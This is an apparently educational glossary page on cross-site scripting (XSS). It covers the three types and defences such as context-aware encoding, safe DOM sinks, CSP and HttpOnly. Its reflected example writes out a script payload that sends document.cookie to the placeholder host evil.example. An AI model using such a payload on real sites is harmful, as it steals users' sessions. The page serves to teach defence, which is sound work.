How HTTP Works

Glossary Term

XSS (Cross-Site Scripting)

XSS lets an attacker run JavaScript in your page by getting untrusted input rendered as code. Learn the three types, real examples, CSP and HttpOnly limits.

Reviewed 2 min readintermediate2 sourcesMarkdown
On this page

TL;DR: XSS means attacker-controlled data ends up executed as code in your page. Fix it by encoding output for its context and avoiding dangerous DOM sinks; use CSP and HttpOnly to limit the blast radius.

Cross-site scripting (XSS) is a vulnerability in which an application includes untrusted data in a web page without proper handling, so the browser runs it as script. The injected code executes in your site’s origin, with access to the DOM, same-origin requests and any non-HttpOnly cookies.

A reflected example

A search page echoes the query into HTML without encoding:

GET /search?q=%3Cscript%3Efetch('https://evil.example/?c='%2Bdocument.cookie)%3C/script%3E HTTP/1.1
Host: shop.example
<h1>Results for <script>fetch('https://evil.example/?c='+document.cookie)</script></h1>

Encoded properly, the same input is rendered as text: &lt;script&gt;....

The three kinds

  • Stored: the payload is saved (a comment, a profile field) and served to every viewer.
  • Reflected: the payload travels in the request (query string, form field) and is echoed back in that one response.
  • DOM-based: the server response is harmless, but client code writes data from location, postMessage or storage into a sink like innerHTML.

Non-obvious facts

  • Encoding depends on context. HTML body, attribute, JavaScript string, URL and CSS each need different escaping. One “sanitize” function used everywhere is a common source of bypasses.
  • Prefer safe sinks. textContent instead of innerHTML; if you need HTML, sanitize with a maintained library such as DOMPurify.
  • CSP can stop injected inline script. A policy such as Content-Security-Policy: script-src 'nonce-r4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none' refuses scripts without the nonce, but a CSP with 'unsafe-inline' or broad allowlists does little.
  • HttpOnly limits theft, not abuse. An attacker can still perform actions as the user from inside the page.
  • X-XSS-Protection is obsolete. Chrome removed its XSS Auditor in version 78 and the header can introduce issues in old browsers; use CSP instead.
  • XSS defeats CSRF defenses. Script running in your origin can read CSRF tokens, so fixing XSS is a prerequisite for every other client-side protection.

Go deeper

Frequently asked questions

What is XSS?

Cross-site scripting is a vulnerability where untrusted data is included in a page in a way that the browser executes as script, so the attacker's code runs with your site's origin and privileges.

What are the types of XSS?

Stored XSS is saved on the server and served to other users. Reflected XSS bounces from the request into the response. DOM-based XSS happens entirely in client-side JavaScript that writes untrusted data into a dangerous sink.

Does HttpOnly stop XSS?

No. It stops script from reading the cookie, but injected script can still act as the user by making same-origin requests.

Does Content-Security-Policy fix XSS?

It limits damage by blocking inline and unlisted scripts, but it is defense in depth. The primary fix is context-aware output encoding and safe DOM APIs.

Sources

  1. MDN Web Docs: Cross-site scripting (XSS)developer.mozilla.org
  2. OWASP XSS Prevention Cheat Sheetcheatsheetseries.owasp.org

Keep going

Browse /search